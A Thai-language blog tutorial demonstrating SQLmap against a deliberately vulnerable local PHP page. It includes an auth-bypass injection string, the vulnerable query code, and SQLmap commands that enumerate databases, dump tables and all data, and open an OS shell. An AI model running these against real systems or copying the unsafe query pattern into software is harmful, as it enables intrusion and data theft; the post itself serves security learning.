ใช้งาน SQLmap เพื่อโจมตีช่องโหว่ SQL Injection

Computer Security 26 มีนาคม พ.ศ. 2567 423
Home / Articles / 79

ในบทความนี้ผู้อ่านจะได้เรียนรู้ถึงวิธีการใช้ SQLmap ในการโจมตีเว็บเพจที่มีช่องโหว่ SQL Injection ซึ่งจะสามารถ แสดงข้อมูลทั้งหมดจากทุกตาราง (Tables) และทุกฐานข้อมูล (Databases) รวมถึงสามารถเข้าถึง OS Shell หรือ Command Prompt ได้

SQL Injection แบบย่อ ๆ

ช่องโหว่ SQL Injection ก็คือการที่ผู้โจมตีสามารถแทรกคำสั่งเข้าไปใน Query ของ SQL ได้ เช่น

SELECT * FROM admin WHERE username = 'admin' AND password = ''OR 1 = 1 --'

จะทำให้เราสามารถเข้าสู่ระบบในฐานะ admin ได้เลย โดยที่ไม่จำเป็นต้องรู้รหัสผ่าน

การแทรกคำสั่งต่างๆ ลงไปใน Query แบบนี้สามารถทำได้เกือบทุกอย่าง หากมีความรู้ความเข้าใจเรื่องคำสั่งของ SQL มากพอ

ซึ่งเราไม่จำเป็นต้องจำคำสั่งทั้งหมดนี้ก็ได้ แต่เราจะใช้ตัวช่วยอย่าง SQLmap เข้ามาทำงานแทน ซึ่งสามารถทำให้เราทดสอบได้เร็วกว่า และง่ายกว่า

การติดตั้ง SQLmap

สามารถติดตั้งโดยใช้ git ได้ดังนี้

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

หรือ ผ่าน Debian Advanced Package Tool อย่าง APT

apt install sqlmap

หรือ ใช้ Homebrew (macOS)

brew install sqlmap

หรือ ใช้ Node Package Manager อย่าง NPM

npm i sqlmap

การใช้งาน SQLmap

สมมุติว่าผมได้สร้าง PHP Page ที่ติดต่อฐานข้อมูลไว้ดังนี้

$db = mysqli_connect('localhost', 'root', '', 'test_sql_injection');
$id = $_GET['id'];
$sql = "SELECT * FROM articles WHERE id = '$id'";
$result = mysqli_query($db, $sql);
if ($result) {
    $row = mysqli_fetch_array($result);
    echo "<h1>",$row['title'],"</h1>";
    echo "<p>",$row["content"],"</p>";
}

เมื่อผมเข้าที่ URL: http://localhost:8080/test_sql_injection/read.php?id=1 เว็บก็จะดึงข้อมูลจากฐานข้อมูลมาแสดง

อาจจะดูเหมือนโค้ด PHP ธรรมดา แต่ถ้าหากดูดีๆ จะเห็นว่าผมได้ยัด $id เข้าไปใน Query ตรงๆ โดยไม่ได้ตรวจเช็คความถูกต้องว่า String ที่เอาเข้าไปใส่ มีส่วนที่เป็นคำสั่งของ SQL หรือไม่ ทีนี้หน้าที่เราสร้างก็จะมีช่องโหว่ SQL Injection ขึ้นมาทันที

สั่งให้แสดงฐานข้อมูลทั้งหมด

เมื่อไปเรียกใช้ SQLmap ด้วยคำสั่งนี้

sqlmap -u http://localhost:8080/test_sql_injection/read.php?id=1 --dbs
[*] test_sql_injection
[*] database1
[*] database2
[*] database3

สั่งให้แสดงตารางทั้งหมดในฐานข้อมูล

ผมจะแสดงตารางทั้งหมดจาก ฐานข้อมูล "test_sql_injection" ก็จะใช้คำสั่งดังนี้

sqlmap -u http://localhost:8080/test_sql_injection/read.php?id=1 -D test_sql_injection --tables

ผลลัพท์

+----------+
 admin    
 articles 
+----------+

สั่ง Dump ข้อมูลออกมาจากตาราง

หากผมต้องการจะ Dump ข้อมูลทั้งหมดจากตารางมา ผมจะใช้คำสั่งดังนี้

sqlmap -u http://localhost:8080/test_sql_injection/read.php?id=1 -D test_sql_injection -T admin --dump

โดยโปรแกรมจะเก็บเป็นไฟล์ .csv ไว้ให้เราด้วย

[INFO] table 'test_sql_injection.`admin`' dumped to CSV file '...ที่อยู่ไฟล์...'

Dump ข้อมูลทั้งหมด จากทุกฐานข้อมูล

ด้านล่างนี้ก็จะเป็นคำสั่งที่จะสามารถ Dump ข้อมูลจากทุกตาราง โดยไม่ต้อง Dump ทีละตาราง

sqlmap -u http://localhost:8080/test_sql_injection/read.php?id=1 --dump-all

สั่งให้เข้าถึง OS Shell

อันนี้น่าจะเป็นอะไรที่น่ากลัวที่สุด เนื่องจาก SQLmap สามารถเข้าถึง Command Prompt หรือ Shell ของหน้าที่มีช่องโหว่ได้ด้วย ซึ่งสามารถส่งคำสั่งเข้าไปทำงานได้ทุกอย่างตามสิทธิ์ของ _www, www-data

sqlmap -u http://localhost:8080/test_sql_injection/read.php?id=1 --os-shell

แค่ใส่คำสั่งนี้ลงไป ก็จะสามารถใช้ Shell ควบคุมคอมพิวเตอร์นั้นๆ ได้เลย (ตามสิทธิ์ของ _www, www-data)

การป้องกัน SQL Injection

สำหรับเพื่อนๆ ที่เขียน PHP และยังเขียน แบบในตัวอย่างที่มีช่องโหว่อยู่ สามารถดูการป้องกันได้ที่บทความที่ผมเคยเขียนไว้แล้ว ภาษา PHP เบื้องต้น (4) การป้องกัน SQL Injection สำหรับเพื่อนๆ ที่ใช้ Express.js ตัว Framework จะบังคับให้ Bind-Params อยู่แล้ว จึงไม่เป็นปัญหา

Profile Picture.
  • Name (Pen name): Sunny Jirakit (Sunny420x)
  • Study: Bachelor Degree of Computer Science from Chiang Mai Rajabhat University
  • Personality: Architect (INTJ-T)
  • Experience: JavaScript,  Angular.js, React.js, Next.js  Express.js, Unity C#, Socket.io